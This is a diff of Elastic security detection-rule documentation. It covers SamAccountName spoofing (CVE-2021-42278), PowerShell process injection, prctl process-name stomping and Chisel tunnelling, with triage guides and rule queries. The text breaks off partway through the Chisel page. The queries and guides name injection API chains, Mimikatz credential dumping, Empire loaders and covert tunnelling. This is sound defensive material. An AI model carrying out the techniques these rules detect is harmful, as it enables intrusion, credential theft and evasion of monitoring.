CVE-2021-42278 + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privileged Escalation via SamAccountName Spoofing* + + + +*Possible investigation steps* + + +- What computer-account rename did the alert capture? + - Focus: `winlog.event_data.OldTargetUserName`, `winlog.event_data.NewTargetUserName`, `winlog.event_data.TargetSid`, `winlog.event_data.TargetDomainName`, and `winlog.computer_name`. + - Implication: escalate when one `winlog.event_data.TargetSid` moves from a "$"-suffixed computer name to a name matching or imitating the logging controller or another controller-style identity; lower concern only when the object, names, domain, and controller match a lab or patch-validation object. + +- Which account and session initiated the rename? + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectDomainName`, `winlog.event_data.SubjectLogonId`, and `user.id`. + - Hint: modifying-session authentication events. !{investigate{"description":"","label":"Authentication events for the modifying session","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the modifier is a standard user, non-tier-0 administrator, unexpected service account, or session unrelated to directory management; lower concern only when the SID, account, domain, and logon session match the same recognized test or repair workflow. + +- Was the same object restored or prepared with surrounding directory changes? + - Why: rename-back on the same object after ticket activity is common noPac-style tradecraft. + - Focus: follow-on account-management or directory-change events for `winlog.event_data.TargetSid`, `winlog.event_data.OldTargetUserName`, `winlog.event_data.NewTargetUserName`, `winlog.event_data.AttributeLDAPDisplayName`, and `winlog.event_data.AttributeValue`. + - Hint: look for sAMAccountName rewrites, authentication-related attribute changes, and a final return to the expected "$"-suffixed name. + - Implication: escalate when the object is restored after suspicious ticket activity, renamed repeatedly, or has authentication-related attribute changes around the rename; lower concern only when the restore is prompt, complete, and tied to the same recognized test or repair workflow. + +- Did the spoofed identity request Kerberos tickets or log on after the rename? + - Focus: Windows Security authentication events for the spoofed name, especially `winlog.event_data.TargetUserName`, `event.code`, `winlog.event_data.AuthenticationPackageName`, `source.ip`, and `winlog.computer_name`. + - Hint: use the alert `@timestamp`, `winlog.computer_name`, and `winlog.event_data.NewTargetUserName` to scope authentication review. !{investigate{"description":"","label":"Authentication events for the spoofed name","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4768","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserName","queryType":"phrase","value":"{{winlog.event_data.NewTargetUserName}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4769","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserName","queryType":"phrase","value":"{{winlog.event_data.NewTargetUserName}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserName","queryType":"phrase","value":"{{winlog.event_data.NewTargetUserName}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} Missing Kerberos or logon coverage is unresolved, not benign. + - Implication: escalate when the new name requests Kerberos tickets, authenticates from an unexpected `source.ip`, or appears in privileged access flows; lack of follow-on use lowers concern only when rename and restore evidence fit one confirmed benign workflow. + +- If local evidence is suspicious or unresolved, does the same modifier or object appear in related directory abuse? + - Focus: related Windows Security events or alerts for the same `winlog.event_data.SubjectUserSid` and `winlog.event_data.TargetSid`, especially Active Directory manipulation, Kerberos abuse, credential access, or privilege-escalation activity. + - Hint: modifier-SID related events. !{investigate{"description":"","label":"Events associated with the modifying account","providers":[[{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: renamed-object related events. !{investigate{"description":"","label":"Events associated with the renamed object","providers":[[{"excluded":false,"field":"winlog.event_data.TargetSid","queryType":"phrase","value":"{{winlog.event_data.TargetSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when either SID appears in related directory or privilege-abuse activity; keep localized only when related scope is clean and local evidence supports a confirmed benign workflow. + +- Escalate for unauthorized privileged-name spoofing, ticket use, suspicious modifier/session origin, same-object restore, directory-change setup, or related abuse; close only when all evidence binds the rename to one confirmed test or repair workflow with no contradictory Kerberos, directory-change, or related findings; preserve rename and authentication evidence and escalate when visibility is incomplete or findings conflict. + + +*False positive analysis* + + +- Controlled CVE-2021-42278 testing, patch validation, and rare tier-0 directory repair are the realistic benign paths. Confirm that `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectLogonId`, `winlog.event_data.TargetSid`, old/new names, and `winlog.computer_name` match one test or repair path; the same `winlog.event_data.TargetSid` is restored to the expected "$"-suffixed name; and Kerberos/logon events show no spoofed-name use outside that path. Without workflow records or owner confirmation, keep unresolved rather than closing on telemetry shape alone. If the target name, modifier, restore behavior, or follow-on usage drifts, do not close as benign. +- Before creating an exception, validate that the same subject SID, target SID, old/new names, controller, restore sequence, and no-spoofed-authentication pattern recur across prior alerts from this rule after a benign workflow has been confirmed. Build the exception from that minimum workflow pattern, not `event.action`, `winlog.event_data.NewTargetUserName`, or `winlog.event_data.TargetSid` alone. + + +*Response and remediation* + + +- If confirmed benign, preserve the evidence set that proved the workflow, then reverse any temporary containment and document the exact subject SID, target SID, old/new name sequence, controller, restore sequence, and follow-on authentication pattern. Create an exception only after the same workflow pattern recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert document, Windows Security rename event, related account-management and directory-change events, Kerberos/logon events for the spoofed name, and related pivots before altering the object. Apply reversible containment only after weighing AD service impact with AD owners, such as temporarily disabling the renamed computer account or restoring the original sAMAccountName after evidence capture. +- If confirmed malicious, preserve the same rename, controller, directory-change, Kerberos, and source-origin evidence first, then disable the renamed computer object or restore its original sAMAccountName, reset the machine-account secret or re-establish the expected trust path, and contain the modifying account and suspected source host. Escalate to broader account or host containment when ticket use, rename-back staging, or related privilege abuse shows active exploitation. +- Before destructive cleanup or final object restoration, review the same `winlog.event_data.SubjectUserSid` and `winlog.event_data.TargetSid` across domain-controller Security logs for additional renames, spoofed-name authentication, or related directory abuse so scope is known before evidence changes. +- If the spoofed identity obtained privileged tickets or was used for directory replication, treat the case as potential domain compromise: review issued Kerberos tickets, reset exposed accounts according to ticket and access evidence, and coordinate domain-recovery actions such as krbtgt rotation only when ticket abuse or replication access is confirmed. +- Post-incident hardening: patch domain controllers for CVE-2021-42278 and related Kerberos fixes, retain account-management, directory-change, and Kerberos auditing on controllers, and record the final subject SID / target SID / old-new name / restore / follow-on-authentication pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit User Account Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-user-account-management + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "renamed-user-account" and + /* machine account name renamed to user like account name */ + winlog.event_data.OldTargetUserName : "*$" and not winlog.event_data.NewTargetUserName : "*$" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-process-injection-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-process-injection-via-powershell.asciidoc new file mode 100644 index 0000000000..82fb855f14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-process-injection-via-powershell.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-potential-process-injection-via-powershell]] +=== Potential Process Injection via PowerShell + +Detects PowerShell scripts that combine Win32 APIs for allocation, protection, process access, or dynamic resolution with injection or execution APIs. Attackers use these API chains for potential process injection or in-memory payload execution. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/management/Invoke-PSInject.ps1 +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/management/Invoke-ReflectivePEInjection.ps1 +* https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Process Injection via PowerShell* + + + +*Possible investigation steps* + + +- Does the reconstructed script show an executable injection path or only isolated helper code? + - Focus: reconstruct with `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`, then review `powershell.file.script_block_text` and `powershell.file.script_block_length`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the ordered script combines target access, memory allocation/protection, remote write, and thread/APC execution; lower concern when reconstruction proves only comments, imports, or unused helper functions in a bounded test script. + +- If endpoint process telemetry is available for this host, can you recover how PowerShell was launched? + - Focus: same-host process starts for the PowerShell instance: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.entity_id`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: recover the matching process via `host.id + process.pid` before interpreting `process.*` or `process.parent.*`; if absent, expand the same-host window. Missing endpoint process telemetry is unresolved, not benign. + - Implication: escalate when the launcher is a document, browser, remote-management tool, scheduled task, encoded command, or user-writable path that does not fit the user; lower concern when launch chain and script origin match the same recognized lab or validation workflow. + +- What payload style does the reconstructed script stage? + - Why: Empire-style loaders commonly patch or reflectively load PE bytes before injection, so payload form changes what to preserve and how urgently to respond. + - Focus: `powershell.file.script_block_text` for byte arrays, Base64 PE blobs, reflective loader names, Mimikatz or credential-dumping commands, and PE/DLL paths or URLs. If endpoint telemetry is available, recover same-PID file and network/DNS events surrounding `@timestamp` to validate writes, staging, or retrieval. Missing file or network/DNS telemetry is unresolved, not benign. !{investigate{"description":"","label":"File events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network and DNS events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the script embeds or fetches shellcode/PE content, calls reflective loading, or references credential dumping; lower concern only when payload handling is absent and the code remains a controlled harness with no execution path. + +- Which target and access path does the script choose? + - Focus: `powershell.file.script_block_text` for process-name or PID selectors, credential-rich or security-sensitive targets, token changes, broad access masks, and thread/APC primitives. + - Implication: escalate when the script targets credential-rich, security-sensitive, user-facing, or many candidate processes and requests broad rights or debug privilege; lower concern when the target is one controlled lab process and the access path matches the recognized exercise. + +- Does the user, host, and script origin fit one controlled workflow? + - Focus: `user.id`, `user.domain`, `host.id`, `host.name`, and `file.path` when present, interpreted with the reconstructed script and recovered launch chain. + - Implication: escalate when the script is fileless or sourced from temp, profile, share, or staging paths under an unexpected account or host; lower concern only when user, host cohort, source path or fileless launcher pattern, target process, and payload choice all align with one controlled test or diagnostic workflow. + +- If local evidence remains suspicious or unresolved, does the same injection pattern appear elsewhere? + - Focus: smallest stable suspicious pattern from `powershell.file.script_block_text`, such as loader function, target process, Mimikatz command, or distinctive payload string, plus `user.id` for actor scope. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: run the `host.id` asset-scope check only after script logic, target/access path, and launch context remain suspicious or incomplete. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same injection pattern or target selection appears on unrelated hosts or users; keep scope local when it stays confined to one recognized testing cohort or one unresolved host. + +- What disposition is supported? + - Escalate on script logic plus payload, sensitive target, broad access, suspicious launcher, or spread; close only when telemetry proves one controlled workflow with no contradictory payload or target abuse; preserve artifacts and escalate when evidence is mixed or endpoint process recovery is unavailable. + + +*False positive analysis* + + +- Authorized red-team, malware-analysis, or detection-validation exercises can trigger this rule when the reconstructed script injects only into controlled targets on lab or canary hosts. Require `powershell.file.script_block_text`, target process names, `file.path` when present, `user.id`, and `host.id` to align with the exercise. If endpoint process telemetry is available, recover via `host.id + process.pid` and require `process.command_line` plus `process.parent.executable` to align. Use calendars or change records only to document telemetry-aligned activity; do not close when script, target, or launcher evidence conflicts. +- Security-product validation or compatibility harnesses are rare; do not close unless the script stays limited to the product's expected target set and lacks embedded payloads, Mimikatz commands, privilege escalation, or broad target loops. If endpoint process telemetry is available, recover via `host.id + process.pid` and require `process.parent.executable` plus `process.command_line` to match the same controlled path or harness. Build exceptions only from the minimum confirmed pattern: stable script origin or distinctive harness substring, bounded target set, `host.id` or `user.id`, and recovered launcher when available; never exempt generic API names alone. + + +*Response and remediation* + + +- If confirmed benign: + - Document the reconstructed script, target process set, script origin, `user.id`, `host.id`, and the exercise or harness evidence that established the workflow before reversing temporary containment. If endpoint process telemetry was available and recovered via `host.id + process.pid`, include the recovered `process.command_line` and `process.parent.executable`. Build exceptions only from the minimum confirmed workflow pattern, not from generic API names. +- If suspicious but unconfirmed: + - Preserve the reconstructed `powershell.file.script_block_text`, every fragment tied to `powershell.file.script_block_id`, target process names or PIDs, payload strings, `file.path` when present, alert `process.pid`, `user.id`, and `host.id` before cleanup. If endpoint process telemetry was available and recovered via `host.id + process.pid`, also preserve `process.entity_id`, `process.command_line`, and `process.parent.command_line`. + - Apply reversible containment such as temporary network restrictions, heightened monitoring, or access limits on the affected `host.id` and `user.id`; escalate to host isolation only when host criticality permits or payload execution, sensitive target selection, or spread evidence raises confidence. +- If confirmed malicious: + - Record the preserved evidence set and recovered process identifiers first when endpoint process telemetry was available. Then isolate the host when script logic, target selection, payload style, recovered launcher, or related-alert scope confirms malicious injection; if direct endpoint response is unavailable, hand off that evidence set to the team that can contain the host. + - Block confirmed malicious payload file paths and infrastructure indicators found during investigation, then review related hosts and users for the same loader, payload, target process, or recovered launcher pattern before eradication. Do not block on generic API names. + - Remove the malicious script, payload files, scheduled tasks, startup paths, or delivery artifacts identified during the investigation. Reset or investigate affected accounts when the payload, target process, or Mimikatz command indicates credential access, then remediate the path that launched PowerShell. +- Post-incident hardening: + - Keep Script Block logging and the endpoint process telemetry needed for `host.id + process.pid` recovery enabled on the affected host class. + - Restrict PowerShell execution, Constrained Language Mode, or code-signing policy where appropriate for the host role, and record any telemetry gaps that limited reconstruction or process recovery. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + (VirtualAlloc or VirtualAllocEx or VirtualProtect or LdrLoadDll or LoadLibrary or LoadLibraryA or + LoadLibraryEx or GetProcAddress or OpenProcess or OpenProcessToken or AdjustTokenPrivileges) and + (WriteProcessMemory or CreateRemoteThread or NtCreateThreadEx or CreateThread or QueueUserAPC or + SuspendThread or ResumeThread or GetDelegateForFunctionPointer) + ) and not + file.directory: ( + "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\SenseCM" or + "C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Downloads" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Dynamic-link Library Injection +** ID: T1055.001 +** Reference URL: https://attack.mitre.org/techniques/T1055/001/ +* Sub-technique: +** Name: Portable Executable Injection +** ID: T1055.002 +** Reference URL: https://attack.mitre.org/techniques/T1055/002/ +* Sub-technique: +** Name: Thread Execution Hijacking +** ID: T1055.003 +** Reference URL: https://attack.mitre.org/techniques/T1055/003/ +* Sub-technique: +** Name: Asynchronous Procedure Call +** ID: T1055.004 +** Reference URL: https://attack.mitre.org/techniques/T1055/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-process-name-stomping-with-prctl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-process-name-stomping-with-prctl.asciidoc new file mode 100644 index 0000000000..278fb1efbc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-process-name-stomping-with-prctl.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-potential-process-name-stomping-with-prctl]] +=== Potential Process Name Stomping with Prctl + +This rule leverages Auditd data to detect the use of the "prctl" syscall to potentially hide a process by changing its name. The "prctl" syscall is used to control various process attributes. Attackers can use this syscall to change the name of a process to a hidden directory or file, making it harder to detect. The query looks for the "prctl" syscall with the "PR_SET_NAME" argument set to "f" (PR_SET_NAME is used to set the name of a process). + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://haxrob.net/process-name-stomping/ +* https://haxrob.net/hiding-in-plain-sight-part-2/ +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Process Name Stomping with Prctl* + + +The `prctl` syscall in Linux allows processes to modify their attributes, including renaming themselves. This capability can be exploited by attackers to disguise malicious processes, making them harder to identify. The detection rule monitors for `prctl` invocations with specific arguments indicative of name changes, especially when linked to suspicious directories, thus flagging potential evasion attempts. + + +*Possible investigation steps* + + +- Review the process details associated with the alert, focusing on the executable path to determine if it matches any suspicious directories listed in the query, such as "/tmp/*" or "/var/tmp/*". +- Examine the process tree to identify the parent process and any child processes spawned by the suspicious process, which may provide context on how the process was initiated and its potential impact. +- Check the command line arguments and environment variables of the process to gather additional context on its intended function and any anomalies. +- Investigate the user account under which the process is running to determine if it aligns with expected behavior or if it indicates potential compromise. +- Correlate the alert with other security events or logs, such as file modifications or network connections, to identify any related malicious activity or patterns. +- Assess the historical activity of the process executable and its associated files to determine if this behavior is new or part of a recurring pattern. + + +*False positive analysis* + + +- System maintenance scripts may invoke prctl to rename processes for legitimate reasons. Review scheduled tasks and maintenance scripts in directories like /etc/cron.* and /etc/init.d to identify benign uses. +- Development environments often use prctl for testing purposes. Exclude known development directories such as /home/developer or /tmp/dev from the rule to reduce noise. +- Some monitoring or logging tools might use prctl to rename their processes for clarity. Identify these tools and add their executable paths to an exception list. +- Custom scripts or applications that manage process names for operational reasons should be documented. Exclude these scripts by specifying their paths in the rule configuration. +- Regularly review and update the exception list to ensure it reflects the current environment and does not inadvertently exclude new threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified by the detection rule, especially those with altered names in critical directories. +- Conduct a thorough review of the affected system's process tree and file system to identify any additional signs of compromise or persistence mechanisms. +- Restore any altered or suspicious files from a known good backup to ensure system integrity. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the attacker. +- Monitor the network for any signs of similar activity or attempts to use the `prctl` syscall with the `PR_SET_NAME` argument in other systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-a exit,always -F arch=b64 -S prctl -k prctl_detection" + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and auditd.data.syscall == "prctl" and auditd.data.a0 == "f" and +process.executable like ( + "/boot/*", "/dev/shm/*", "/etc/cron.*/*", "/etc/init.d/*", "/var/run/*", "/etc/update-motd.d/*", + "/tmp/*", "/var/log/*", "/var/tmp/*", "/home/*", "/run/shm/*", "/run/*", "./*" +) and +not process.executable like ("/home/*/.vscode-server/*", "/tmp/VeeamAgent*", "/home/*/.xmonad/xmonad*linux*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-chisel-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-chisel-client.asciidoc new file mode 100644 index 0000000000..5223dfaccc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-protocol-tunneling-via-chisel-client.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-potential-protocol-tunneling-via-chisel-client]] +=== Potential Protocol Tunneling via Chisel Client + +This rule monitors for common command line flags leveraged by the Chisel client utility followed by a connection attempt. Chisel is a command-line utility used for creating and managing TCP and UDP tunnels, enabling port forwarding and secure communication between machines. Attackers can abuse the Chisel utility to establish covert communication channels, bypass network restrictions, and carry out malicious activities by creating tunnels that allow unauthorized access to internal systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Protocol Tunneling via Chisel Client* + + +Attackers can leverage `chisel` to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for a sequence of command line arguments that are consistent with `chisel` client tunneling behavior, followed by a network event by an uncommon process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid 